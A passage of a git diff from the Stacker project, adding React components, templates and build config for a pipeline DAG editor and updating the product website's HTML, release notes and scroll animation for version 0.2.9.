+        const style = TYPE_STYLES[toast.type];
+        return (
+          <div
+            key={toast.id}
+            role="alert"
+            style={{
+              padding: '10px 14px',
+              background: style.bg,
+              border: `1px solid ${style.border}`,
+              borderRadius: 6,
+              display: 'flex',
+              alignItems: 'center',
+              gap: 8,
+              fontSize: 13,
+              boxShadow: '0 2px 8px rgba(0,0,0,0.15)',
+              animation: 'slideIn 0.2s ease',
+            }}
+          >
+            <span style={{ fontWeight: 700, fontSize: 14 }}>{style.icon}</span>
+            <span style={{ flex: 1 }}>{toast.message}</span>
+            <button
+              aria-label="×"
+              onClick={() => onDismiss?.(toast.id)}
+              style={{
+                background: 'none',
+                border: 'none',
+                cursor: 'pointer',
+                fontSize: 16,
+                padding: '0 4px',
+                color: '#666',
+              }}
+            >
+              ×
+            </button>
+          </div>
+        );
+      })}
+    </div>
+  );
+};
diff --git a/web/src/components/Toolbar.tsx b/web/src/components/Toolbar.tsx
new file mode 100644
index 00000000..df69765b
--- /dev/null
+++ b/web/src/components/Toolbar.tsx
@@ -0,0 +1,88 @@
+import React from 'react';
+
+interface ToolbarProps {
+  templateId: string;
+  onValidate: () => void;
+  onExecute: () => void;
+  validationResult?: { valid: boolean; errors?: string[] } | null;
+  executing: boolean;
+}
+
+const Toolbar: React.FC<ToolbarProps> = ({
+  templateId,
+  onValidate,
+  onExecute,
+  validationResult,
+  executing,
+}) => (
+  <div
+    style={{
+      position: 'absolute',
+      bottom: 10,
+      left: '50%',
+      transform: 'translateX(-50%)',
+      zIndex: 10,
+      background: '#fff',
+      borderRadius: 8,
+      boxShadow: '0 2px 12px rgba(0,0,0,0.15)',
+      display: 'flex',
+      alignItems: 'center',
+      gap: 8,
+      padding: '8px 14px',
+      fontFamily: 'system-ui, sans-serif',
+    }}
+  >
+    <span style={{ fontSize: 11, color: '#999', maxWidth: 120, overflow: 'hidden', textOverflow: 'ellipsis' }}>
+      {templateId.slice(0, 8)}…
+    </span>
+
+    <button
+      onClick={onValidate}
+      style={{
+        padding: '6px 14px',
+        background: '#2196f3',
+        color: '#fff',
+        border: 'none',
+        borderRadius: 4,
+        cursor: 'pointer',
+        fontSize: 12,
+        fontWeight: 600,
+      }}
+    >
+      ✓ Validate
+    </button>
+
+    <button
+      onClick={onExecute}
+      disabled={executing}
+      style={{
+        padding: '6px 14px',
+        background: executing ? '#9e9e9e' : '#4caf50',
+        color: '#fff',
+        border: 'none',
+        borderRadius: 4,
+        cursor: executing ? 'not-allowed' : 'pointer',
+        fontSize: 12,
+        fontWeight: 600,
+      }}
+    >
+      {executing ? '⏳ Running…' : '▶ Execute'}
+    </button>
+
+    {validationResult && (
+      <span
+        style={{
+          fontSize: 11,
+          color: validationResult.valid ? '#4caf50' : '#f44336',
+          fontWeight: 600,
+        }}
+      >
+        {validationResult.valid
+          ? '✓ Valid'
+          : `✗ ${validationResult.errors?.[0] ?? 'Invalid'}`}
+      </span>
+    )}
+  </div>
+);
+
+export default Toolbar;
diff --git a/web/src/main.tsx b/web/src/main.tsx
new file mode 100644
index 00000000..f5d034ea
--- /dev/null
+++ b/web/src/main.tsx
@@ -0,0 +1,25 @@
+import React from 'react';
+import ReactDOM from 'react-dom/client';
+import { ReactFlowProvider } from '@xyflow/react';
+import DagEditor from './components/DagEditor';
+import { ToastProvider } from './components/Toast';
+
+// Read template/instance/token from URL params for embedding flexibility
+const params = new URLSearchParams(window.location.search);
+const templateId = params.get('template') ?? 'demo';
+const instanceId = params.get('instance') ?? undefined;
+const token = params.get('token') ?? 'dev-token';
+
+const App: React.FC = () => (
+  <ToastProvider>
+    <ReactFlowProvider>
+      <DagEditor templateId={templateId} instanceId={instanceId} token={token} />
+    </ReactFlowProvider>
+  </ToastProvider>
+);
+
+ReactDOM.createRoot(document.getElementById('root')!).render(
+  <React.StrictMode>
+    <App />
+  </React.StrictMode>,
+);
diff --git a/web/src/templates.ts b/web/src/templates.ts
new file mode 100644
index 00000000..94db2483
--- /dev/null
+++ b/web/src/templates.ts
@@ -0,0 +1,51 @@
+// Starter DAG templates for quick-start demo
+export interface StarterTemplate {
+  name: string;
+  description: string;
+  steps: { id: string; step_type: string; name: string; config: Record<string, unknown> }[];
+  edges: { source: string; target: string }[];
+}
+
+export const STARTER_TEMPLATES: StarterTemplate[] = [
+  {
+    name: 'ETL Pipeline',
+    description: 'Classic Extract → Transform → Load pipeline',
+    steps: [
+      { id: 'etl-1', step_type: 'source', name: 'Fetch API Data', config: { endpoint_url: 'https://api.example.com/data', method: 'GET' } },
+      { id: 'etl-2', step_type: 'transform', name: 'Clean & Map', config: { mapping_expression: '$.data.items[*]', filter_expression: '$.status == "active"' } },
+      { id: 'etl-3', step_type: 'target', name: 'Write to DB', config: { endpoint_url: 'https://api.example.com/ingest', method: 'POST', batch_size: 100 } },
+    ],
+    edges: [
+      { source: 'etl-1', target: 'etl-2' },
+      { source: 'etl-2', target: 'etl-3' },
+    ],
+  },
+  {
+    name: 'Webhook Router',
+    description: 'Route incoming webhooks to different targets based on conditions',
+    steps: [
+      { id: 'wh-1', step_type: 'http_stream_source', name: 'Webhook Receiver', config: { endpoint_url: 'https://hooks.example.com/incoming', format: 'ndjson' } },
+      { id: 'wh-2', step_type: 'condition', name: 'Route by Type', config: { field: '$.event_type', operator: '==', value: 'order' } },
+      { id: 'wh-3', step_type: 'target', name: 'Order Service', config: { endpoint_url: 'https://orders.example.com/api', method: 'POST' } },
+      { id: 'wh-4', step_type: 'target', name: 'Notification Service', config: { endpoint_url: 'https://notify.example.com/api', method: 'POST' } },
+    ],
+    edges: [
+      { source: 'wh-1', target: 'wh-2' },
+      { source: 'wh-2', target: 'wh-3' },
+      { source: 'wh-2', target: 'wh-4' },
+    ],
+  },
+  {
+    name: 'CDC Replicator',
+    description: 'Capture PostgreSQL changes and replicate via gRPC',
+    steps: [
+      { id: 'cdc-1', step_type: 'cdc_source', name: 'PG WAL Capture', config: { connection_string: 'postgresql://user:pass@localhost/mydb', table: 'public.users', schema: 'public' } },
+      { id: 'cdc-2', step_type: 'transform', name: 'Map Fields', config: { mapping_expression: '$.after.*' } },
+      { id: 'cdc-3', step_type: 'grpc_target', name: 'Replicate to Target', config: { host: 'grpc.target.example.com', port: 50051, service: 'replication.Sync', method: 'PushChanges', tls: true } },
+    ],
+    edges: [
+      { source: 'cdc-1', target: 'cdc-2' },
+      { source: 'cdc-2', target: 'cdc-3' },
+    ],
+  },
+];
diff --git a/web/src/test-setup.ts b/web/src/test-setup.ts
new file mode 100644
index 00000000..7b0828bf
--- /dev/null
+++ b/web/src/test-setup.ts
@@ -0,0 +1 @@
+import '@testing-library/jest-dom';
diff --git a/web/src/theme.ts b/web/src/theme.ts
new file mode 100644
index 00000000..9bbdff2d
--- /dev/null
+++ b/web/src/theme.ts
@@ -0,0 +1,32 @@
+import { type StepType } from './api';
+
+// Color palette per step type
+const STEP_COLORS: Record<StepType | string, { bg: string; border: string; icon: string }> = {
+  source:           { bg: '#e8f5e9', border: '#4caf50', icon: '📥' },
+  cdc_source:       { bg: '#e0f2f1', border: '#009688', icon: '🔄' },
+  ws_source:        { bg: '#e3f2fd', border: '#2196f3', icon: '🔌' },
+  grpc_source:      { bg: '#ede7f6', border: '#673ab7', icon: '⚡' },
+  http_stream_source:{ bg: '#fff3e0', border: '#ff9800', icon: '🌊' },
+  transform:        { bg: '#fff9c4', border: '#fbc02d', icon: '🔧' },
+  condition:        { bg: '#fce4ec', border: '#e91e63', icon: '❓' },
+  target:           { bg: '#ffebee', border: '#f44336', icon: '📤' },
+  ws_target:        { bg: '#e8eaf6', border: '#3f51b5', icon: '📡' },
+  grpc_target:      { bg: '#f3e5f5', border: '#9c27b0', icon: '🚀' },
+  parallel_split:   { bg: '#e0f7fa', border: '#00bcd4', icon: '🔀' },
+  parallel_join:    { bg: '#f1f8e9', border: '#8bc34a', icon: '🔁' },
+  amqp_source:      { bg: '#fce4ec', border: '#e91e63', icon: '🐰' },
+  kafka_source:     { bg: '#efebe9', border: '#795548', icon: '📨' },
+};
+
+export function stepColor(type: string) {
+  return STEP_COLORS[type] ?? { bg: '#f5f5f5', border: '#9e9e9e', icon: '⬜' };
+}
+
+// Execution status colors
+export const STATUS_COLORS: Record<string, string> = {
+  pending:   '#9e9e9e',
+  running:   '#2196f3',
+  completed: '#4caf50',
+  failed:    '#f44336',
+  skipped:   '#ff9800',
+};
diff --git a/web/tsconfig.json b/web/tsconfig.json
new file mode 100644
index 00000000..139beeba
--- /dev/null
+++ b/web/tsconfig.json
@@ -0,0 +1,22 @@
+{
+  "compilerOptions": {
+    "target": "ES2020",
+    "useDefineForClassFields": true,
+    "lib": ["ES2020", "DOM", "DOM.Iterable"],
+    "module": "ESNext",
+    "skipLibCheck": true,
+    "moduleResolution": "bundler",
+    "allowImportingTsExtensions": true,
+    "isolatedModules": true,
+    "moduleDetection": "force",
+    "noEmit": true,
+    "jsx": "react-jsx",
+    "strict": true,
+    "noUnusedLocals": true,
+    "noUnusedParameters": true,
+    "noFallthroughCasesInSwitch": true,
+    "forceConsistentCasingInFileNames": true
+  },
+  "include": ["src"],
+  "exclude": ["src/__tests__"]
+}
diff --git a/web/vite.config.ts b/web/vite.config.ts
new file mode 100644
index 00000000..b656ea76
--- /dev/null
+++ b/web/vite.config.ts
@@ -0,0 +1,22 @@
+import { defineConfig } from 'vite';
+import react from '@vitejs/plugin-react';
+
+export default defineConfig({
+  plugins: [react()],
+  base: '/editor/',
+  build: {
+    outDir: 'dist',
+    emptyOutDir: true,
+  },
+  server: {
+    proxy: {
+      '/api': 'http://127.0.0.1:8000',
+    },
+  },
+  test: {
+    globals: true,
+    environment: 'jsdom',
+    setupFiles: './src/test-setup.ts',
+    css: true,
+  },
+});
diff --git a/website/.stacker/Dockerfile b/website/.stacker/Dockerfile
index 284bc9bb..994a9ef4 100644
--- a/website/.stacker/Dockerfile
+++ b/website/.stacker/Dockerfile
@@ -25,15 +25,17 @@
 ## Command to run the application
 #CMD ["npm", "run", "serve"]
 
-FROM node:16-alpine as builder
+FROM node:16-alpine AS builder
 WORKDIR /app
+COPY package*.json ./
+RUN npm ci
 COPY . .
-RUN npm install --only=production
 RUN npm run build
 
 # Stage 2: Final production image
 FROM node:16-alpine
 WORKDIR /app
+RUN npm install -g serve
 COPY --from=builder /app/dist ./dist
 EXPOSE 3456
-CMD ["npm", "run", "serve"]
\ No newline at end of file
+CMD ["serve", "-s", "dist", "-l", "3456"]
diff --git a/website/.stacker/deployment-local.lock b/website/.stacker/deployment-local.lock
new file mode 100644
index 00000000..ba467eb1
--- /dev/null
+++ b/website/.stacker/deployment-local.lock
@@ -0,0 +1,10 @@
+target: local
+server_ip: 127.0.0.1
+ssh_user: null
+ssh_port: null
+server_name: null
+deployment_id: null
+project_id: null
+cloud_id: null
+project_name: null
+deployed_at: 2026-04-11T10:58:36.439261+00:00
diff --git a/website/assets/stacker-logomark.png b/website/assets/stacker-logomark.png
new file mode 100644
index 00000000..08eaea99
Binary files /dev/null and b/website/assets/stacker-logomark.png differ
diff --git a/website/dist/assets/stacker-logomark.png b/website/dist/assets/stacker-logomark.png
new file mode 100644
index 00000000..08eaea99
Binary files /dev/null and b/website/dist/assets/stacker-logomark.png differ
diff --git a/website/dist/index.html b/website/dist/index.html
index 3545e66e..9e9c2dde 100644
--- a/website/dist/index.html
+++ b/website/dist/index.html
@@ -3,14 +3,23 @@
 <head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
-  <title>Stacker v0.2.7 — AI Infrastructure CLI by TryDirect</title>
-  <meta name="description" content="Stacker v0.2.7 scans your project, generates stacker.yml with AI, deploys to cloud or bare metal, manages agents, and links apps with pipes — all from your terminal.">
+  <title>Stacker v0.2.9 — AI Infrastructure CLI by TryDirect</title>
+  <meta name="description" content="Stacker v0.2.9 scans your project, deploys to cloud or bare metal, manages remote service secrets, cloud firewalls, agents, and app pipes — all from your terminal.">
   <meta name="theme-color" content="#7e57c2">
   <link rel="icon" type="image/png" href="assets/stacker-logo.png">
   <link rel="stylesheet" href="styles.css">
   <link rel="preconnect" href="https://fonts.googleapis.com">
   <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
   <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&family=JetBrains+Mono:wght@400;500;600;700&display=swap" rel="stylesheet">
+  <!-- Google tag (gtag.js) -->
+  <script async src="https://www.googletagmanager.com/gtag/js?id=G-PDH63K5XEB"></script>
+  <script>
+    window.dataLayer = window.dataLayer || [];
+    function gtag(){dataLayer.push(arguments);}
+    gtag('js', new Date());
+
+    gtag('config', 'G-PDH63K5XEB');
+  </script>
 </head>
 <body>
   <!-- Particle canvas background -->
@@ -20,7 +29,7 @@
   <nav class="nav" id="nav">
     <div class="nav__inner">
       <a href="#" class="nav__logo">
-        <img src="assets/stacker-logo.png" alt="Stacker" class="nav__logo-img">
+        <img src="assets/stacker-logomark.png" alt="Stacker" class="nav__logo-img">
         <span class="nav__logo-text">stacker</span>
       </a>
       <div class="nav__links" id="navLinks">
@@ -52,7 +61,7 @@
       <div class="hero__content">
         <div class="hero__badge" data-animate="fade-up">
           <span class="hero__badge-dot"></span>
-          New Release v0.2.7 &middot; AI-Powered &middot; Cloud + Bare Metal
+          New Release v0.2.9 &middot; AI-Powered &middot; Cloud + Bare Metal
         </div>
         <h1 class="hero__title" data-animate="fade-up" data-delay="100">
           Ship your stack from code to server<br>
@@ -74,17 +83,20 @@ <h1 class="hero__title" data-animate="fade-up" data-delay="100">
           </a>
         </div>
         <div class="hero__release" data-animate="fade-up" data-delay="350">
-          <div class="hero__release-version">v0.2.7</div>
+          <div class="hero__release-version">v0.2.9</div>
           <p class="hero__release-text">
-            Latest release includes <strong>pipes</strong>, <strong>agent control + firewall</strong>,
-            <strong>Kata runtime</strong>, <strong>marketplace submit/status/logs</strong>, and
-            <strong>multi-user security hardening</strong>.
+            Latest release includes <strong>AI config setup CLI</strong>, <strong>OAuth device auth</strong>,
+            <strong>.env bootstrapping</strong>, <strong>Hetzner location fixes</strong>, and hardened agent health &amp; logs.
           </p>
           <div class="hero__release-chips">
-            <span class="hero__release-chip">Pipe automation</span>
-            <span class="hero__release-chip">Agent ops</span>
-            <span class="hero__release-chip">Kata isolation</span>
-            <span class="hero__release-chip">Marketplace flows</span>
+            <span class="hero__release-chip">AI setup CLI</span>
+            <span class="hero__release-chip">Device auth</span>
+            <span class="hero__release-chip">.env bootstrap</span>
+            <span class="hero__release-chip">Preflight checks</span>
+            <span class="hero__release-chip">npm networking</span>
+            <span class="hero__release-chip">Agent health</span>
+            <span class="hero__release-chip">Config promote</span>
+            <span class="hero__release-chip">Hetzner fixes</span>
           </div>
         </div>
         <div class="hero__terminal" data-animate="fade-up" data-delay="400">
@@ -200,29 +212,69 @@ <h3 class="feature-card__title">SSH Key Management</h3>
     <div class="container">
       <div class="section__header" data-animate="fade-up">
         <span class="section__label">Latest Release</span>
-        <h2 class="section__title">Stacker v0.2.7<br><span class="gradient-text">brings the operator tools.</span></h2>
-        <p class="section__desc">The newest release expands Stacker from deployment setup into ongoing operations, app-to-app automation, secure runtime options, and marketplace delivery.</p>
+        <h2 class="section__title">Stacker v0.2.9<br><span class="gradient-text">brings smarter onboarding &amp; deploy reliability.</span></h2>
+        <p class="section__desc">The newest release adds AI config setup from the CLI, OAuth device auth, .env bootstrapping on deploy, improved Hetzner support, and hardened agent health and log workflows.</p>
       </div>
       <div class="release__grid">
         <article class="release-card" data-animate="fade-up" data-delay="0">
-          <span class="release-card__eyebrow">Automation</span>
-          <h3 class="release-card__title">Pipes</h3>
-          <p class="release-card__desc">Create, activate, trigger, replay, and inspect pipe executions to move data between apps without building glue code first.</p>
+          <span class="release-card__eyebrow">AI Setup</span>
+          <h3 class="release-card__title">stacker config setup ai</h3>
+          <p class="release-card__desc">Configure your AI provider, endpoint, model, and tasks directly from the CLI — Ollama-friendly with <code>--provider</code>, <code>--endpoint</code>, and <code>--model</code> flags.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="100">
+          <span class="release-card__eyebrow">Auth</span>
+          <h3 class="release-card__title">OAuth device authorization</h3>
+          <p class="release-card__desc">Browser-free device auth flow with default auth and API URLs stored in <code>~/.config/stacker/config.yml</code>. <code>stacker login</code> now works in headless environments.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="200">
+          <span class="release-card__eyebrow">Deploy</span>
+          <h3 class="release-card__title">.env bootstrapping</h3>
+          <p class="release-card__desc">Cloud and server deploys automatically create missing <code>.env</code> files from adjacent <code>.env.example</code> files, with restrictive local permissions where supported.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="300">
+          <span class="release-card__eyebrow">Reliability</span>
+          <h3 class="release-card__title">Preflight checks</h3>
+          <p class="release-card__desc">New preflight validation catches config-bundle issues, rejects absolute destinations, and lists file mappings before sending deploy requests to avoid silent failures.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="0">
+          <span class="release-card__eyebrow">Networking</span>
+          <h3 class="release-card__title">npm default network</h3>
+          <p class="release-card__desc">Projects using npm now automatically get a default external network injected so services can communicate without manual compose network configuration.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="100">
+          <span class="release-card__eyebrow">Agent</span>
+          <h3 class="release-card__title">Health, logs &amp; npm detection</h3>
+          <p class="release-card__desc">Agent health checks, log streaming, and npm project detection are all fixed. Separator widths are consistent. Hardened for live production environments.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="200">
+          <span class="release-card__eyebrow">Cloud</span>
+          <h3 class="release-card__title">Hetzner location fixes</h3>
+          <p class="release-card__desc">Location aliases like <code>nbg1</code> are now normalized to installer-compatible datacenter values such as <code>nbg1-dc3</code>. Default server type updated to <code>cx23</code>.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="300">
+          <span class="release-card__eyebrow">Config</span>
+          <h3 class="release-card__title">Config promote &amp; inventory</h3>
+          <p class="release-card__desc">Promote config keys across environments, diff inventories, check contracts, and use <code>--remote</code> to enrich targets with Vault-backed secret metadata without fetching values.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="0">
+          <span class="release-card__eyebrow">Secrets</span>
+          <h3 class="release-card__title">Remote service secrets</h3>
+          <p class="release-card__desc">Store Vault-backed secrets for deployable service and app targets from <code>stacker.yml</code> and supported Compose services, with metadata-only reads for safe inspection.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="100">
           <span class="release-card__eyebrow">Operations</span>
-          <h3 class="release-card__title">Remote agent control</h3>
-          <p class="release-card__desc">Health checks, logs, deploy-app, configure-proxy, and configure-firewall are now first-class CLI workflows for live environments.</p>
+          <h3 class="release-card__title">Cloud firewall controls</h3>
+          <p class="release-card__desc">Open, remove, and list provider firewall rules without SSH, while guest OS firewall operations remain available through the agent for fine-grained control.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="200">
-          <span class="release-card__eyebrow">Security</span>
-          <h3 class="release-card__title">Kata runtime + hardening</h3>
-          <p class="release-card__desc">Choose <code>kata</code> for stronger container isolation and ship with tightened cross-user access controls backed by new IDOR coverage.</p>
+          <span class="release-card__eyebrow">MCP</span>
+          <h3 class="release-card__title">Remote secret tools</h3>
+          <p class="release-card__desc">AI clients can list remote secret targets and manage service secret metadata through the MCP server while plaintext values stay safely in Vault.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="300">
           <span class="release-card__eyebrow">Distribution</span>
           <h3 class="release-card__title">Marketplace workflows</h3>
-          <p class="release-card__desc">Submit stacks for review, track approval status, and inspect reviewer feedback directly from the CLI.</p>
+          <p class="release-card__desc">Submit stacks for review with <code>stacker submit</code>, track approval status, and inspect reviewer feedback directly from the CLI with <code>stacker marketplace</code>.</p>
         </article>
       </div>
     </div>
@@ -328,50 +380,30 @@ <h3 class="ai-section__providers-title">Supported AI Providers</h3>
   <section class="section examples" id="examples">
     <div class="container">
       <div class="section__header" data-animate="fade-up">
-        <span class="section__label">Examples</span>
-        <h2 class="section__title">Real commands.<br><span class="gradient-text">Real operator output.</span></h2>
-        <p class="section__desc">Examples from the current CLI, including AI guidance for bare-metal servers and remote operations on live deployments.</p>
+        <span class="section__label">Prompt Examples</span>
+        <h2 class="section__title">Paste-ready prompts.<br><span class="gradient-text">Website ideas you can ship.</span></h2>
+        <p class="section__desc">Use these examples with <code>stacker ai ask</code> when you want Stacker to scaffold a site, adapt a template, and prepare deployment to Hetzner or your own server.</p>
       </div>
       <div class="examples__grid">
         <article class="example-card" data-animate="fade-up" data-delay="0">
-          <div class="example-card__label">Real AI example</div>
-          <h3 class="example-card__title">Ask how to connect a metal bare server</h3>
-          <pre class="example-card__output"><code>❯ ./stacker ai ask "how do I connect my metal bare server"
-To connect your metal bare server using the provided `stacker.yml` configuration, you need to update the `deploy.server` section with the necessary details. Here is an example of how to configure it:
-
-```yaml
-deploy:
-  target: server
-  compose_file: null
-  cloud: null
-  server:
-    host: your_server_ip_or_hostname
-    user: root
-    port: 22
-    ssh_key: ~/.ssh/id_rsa
-```
-
-Replace `your_server_ip_or_hostname` with the actual IP address or hostname of your metal bare server.
-
-After updating the `deploy.server` section, you can deploy to your server using:
-
-```sh
-stacker deploy --target server
-```
-
-Make sure that your SSH key is correctly set up and that the user has the necessary permissions on the server.</code></pre>
+          <div class="example-card__label">Next.js starter</div>
+          <h3 class="example-card__title">Reggae fan site from a template link</h3>
+          <pre class="example-card__output"><code>❯ stacker ai ask "Create a website dedicated to reggae using https://example.com/reggae as the design template. The site should be built with Next.js. Start with just two pages: home page and contact us page. Deploy it to Hetzner Cloud using Stacker CLI."</code></pre>
         </article>
         <article class="example-card" data-animate="fade-up" data-delay="100">
-          <div class="example-card__label">New in v0.2.7</div>
-          <h3 class="example-card__title">Open ports and keep your database private</h3>
-          <pre class="example-card__output"><code>❯ stacker agent configure-firewall \
-    --public-ports 80/tcp,443/tcp \
-    --private-ports 5432/tcp:10.0.0.0/8
-▸ Checking deployment and agent capabilities...
-▸ Applying iptables rules on target server...
-✓ Opened 80/tcp and 443/tcp to the public internet
-✓ Restricted 5432/tcp to 10.0.0.0/8
-✓ Firewall rules persisted for future reboots</code></pre>
+          <div class="example-card__label">Marketing site</div>
+          <h3 class="example-card__title">Launch a product landing page with blog support</h3>
+          <pre class="example-card__output"><code>❯ stacker ai ask "Build a modern SaaS landing page using https://example.com/saas-launch as the visual template. Use Next.js with a homepage, pricing page, blog index, and contact form. Add PostgreSQL for newsletter signups and deploy the stack to Hetzner with Stacker."</code></pre>
+        </article>
+        <article class="example-card" data-animate="fade-up" data-delay="200">
+          <div class="example-card__label">Portfolio</div>
+          <h3 class="example-card__title">Create a studio website with CMS</h3>
+          <pre class="example-card__output"><code>❯ stacker ai ask "Create a portfolio website for an interior design studio based on https://example.com/studio-portfolio. Use Next.js, include home, projects, about, and contact pages, and add a lightweight admin CMS for editing project entries. Prepare the deployment for Hetzner Cloud with Stacker CLI."</code></pre>
+        </article>
+        <article class="example-card" data-animate="fade-up" data-delay="300">
+          <div class="example-card__label">Docs + community</div>
+          <h3 class="example-card__title">Ship a docs-driven open source site</h3>
+          <pre class="example-card__output"><code>❯ stacker ai ask "Create a documentation website for an open source CLI using https://example.com/docs-template as the template reference. Use Next.js and add home, docs, changelog, and contact pages. Include search-ready content structure and deploy it to Hetzner using Stacker."</code></pre>
         </article>
       </div>
     </div>
@@ -562,7 +594,7 @@ <h2 class="section__title">21 top-level commands.<br><span class="gradient-text"
           <div class="command-card__header">
             <code class="command-card__cmd">stacker secrets</code>
           </div>
-          <p class="command-card__desc">Manage <code>.env</code> values, mask secrets in output, and validate config references before deploys.</p>
+          <p class="command-card__desc">Manage <code>.env</code> values plus remote Vault-backed service/app target secrets with metadata-only reads.</p>
         </div>
         <div class="command-card" data-command="ci">
           <div class="command-card__header">
@@ -634,13 +666,35 @@ <h2 class="section__title">Deploy anywhere.<br><span class="gradient-text">Your
     </div>
   </section>
 
+  <!-- Q&A Section -->
+  <section class="section" id="qa">
+    <div class="container">
+      <div class="section__header" data-animate="fade-up">
+        <span class="section__label">Q&amp;A</span>
+        <h2 class="section__title">Common deployment questions.<br><span class="gradient-text">Answered directly.</span></h2>
+      </div>
+      <div class="release__grid">
+        <article class="release-card" data-animate="fade-up">
+          <span class="release-card__eyebrow">Agents</span>
+          <h3 class="release-card__title">Can one Stacker project have more than one agent?</h3>
+          <p class="release-card__desc">Yes. A single project can have multiple deployments, and each deployment runs its own Status Panel agent. That means staging and production can belong to the same project while still using different agents on different servers.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="100">
+          <span class="release-card__eyebrow">Targeting</span>
+          <h3 class="release-card__title">How do I talk to the right agent?</h3>
+          <p class="release-card__desc">Use <code>--deployment &lt;hash&gt;</code> when a project has more than one deployment. Without it, the CLI resolves the target from the local deployment lock or falls back to the most recently active deployment found from <code>stacker.yml</code>.</p>
+        </article>
+      </div>
+    </div>
+  </section>
+
   <!-- CTA Section -->
   <section class="section cta" id="cta">
     <div class="container">
       <div class="cta__inner" data-animate="fade-up">
         <div class="cta__glow" aria-hidden="true"></div>
         <h2 class="cta__title">Ready to deploy<br><span class="gradient-text">smarter?</span></h2>
-        <p class="cta__desc">Ship with the current Stacker release: AI config, bare-metal deploys, pipes, agent ops, and marketplace workflows in one place.</p>
+        <p class="cta__desc">Ship with the current Stacker release: AI config, bare-metal deploys, service secrets, cloud firewalls, pipes, and agent ops in one place.</p>
         <div class="cta__actions">
           <a href="https://github.com/trydirect/stacker" target="_blank" rel="noopener" class="btn btn--primary btn--lg">
             <svg width="20" height="20" viewBox="0 0 24 24" fill="currentColor"><path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z"/></svg>
@@ -717,6 +771,6 @@ <h4>Community</h4>
     </div>
   </footer>
 
-  <script src="main.js"></script>
+  <script type="module" src="main.js"></script>
 </body>
 </html>
diff --git a/website/dist/main.d.ts b/website/dist/main.d.ts
index 682cd2b0..cb0ff5c3 100644
--- a/website/dist/main.d.ts
+++ b/website/dist/main.d.ts
@@ -1,69 +1 @@
-interface Particle {
-    x: number;
-    y: number;
-    vx: number;
-    vy: number;
-    size: number;
-    opacity: number;
-    hue: number;
-    life: number;
-    maxLife: number;
-}
-declare class ParticleSystem {
-    private canvas;
-    private ctx;
-    private particles;
-    private mouse;
-    private animId;
-    private readonly MAX_PARTICLES;
-    private readonly CONNECTION_DIST;
-    constructor(canvas: HTMLCanvasElement);
-    private resize;
-    private init;
-    private createParticle;
-    private bindEvents;
-    private animate;
-    destroy(): void;
-}
-declare class TypeWriter {
-    private element;
-    private commands;
-    private outputs;
-    private outputEl;
-    private currentCmd;
-    private charIndex;
-    private typing;
-    private speed;
-    constructor(element: HTMLElement, outputEl: HTMLElement, commands: string[], outputs: string[][], speed?: number);
-    private type;
-    private showOutput;
-    private nextCommand;
-}
-declare class ScrollAnimator {
-    private observer;
-    constructor();
-}
-declare class CounterAnimator {
-    private observer;
-    constructor();
-    private animateCounter;
-}
-declare class StickyNav {
-    private nav;
-    private lastScrollY;
-    constructor(nav: HTMLElement);
-    private onScroll;
-}
-declare class MobileMenu {
-    private toggle;
-    private menu;
-    private isOpen;
-    constructor(toggle: HTMLElement, menu: HTMLElement);
-    private toggleMenu;
-    private close;
-}
-declare class CommandCardEffects {
-    constructor();
-}
-declare function initSmoothScroll(): void;
-declare function initCardGlow(): void;
+export {};
diff --git a/website/dist/main.js b/website/dist/main.js
index 791abce4..f136a6df 100644
--- a/website/dist/main.js
+++ b/website/dist/main.js
@@ -194,8 +194,17 @@ class ScrollAnimator {
                 }
             });
         }, { threshold: 0.1, rootMargin: '0px 0px -50px 0px' });
+        const vh = window.innerHeight;
         document.querySelectorAll('[data-animate]').forEach((el) => {
-            this.observer.observe(el);
+            const rect = el.getBoundingClientRect();
+            if (rect.top < vh) {
+                // Element is already in the viewport — show it immediately
+                const delay = parseInt(el.dataset.delay || '0', 10);
+                setTimeout(() => el.classList.add('is-visible'), delay);
+            }
+            else {
+                this.observer.observe(el);
+            }
         });
     }
 }
diff --git a/website/dist/main.js.map b/website/dist/main.js.map
index 82a832df..fbfb3201 100644
--- a/website/dist/main.js.map
+++ b/website/dist/main.js.map
@@ -1 +1 @@
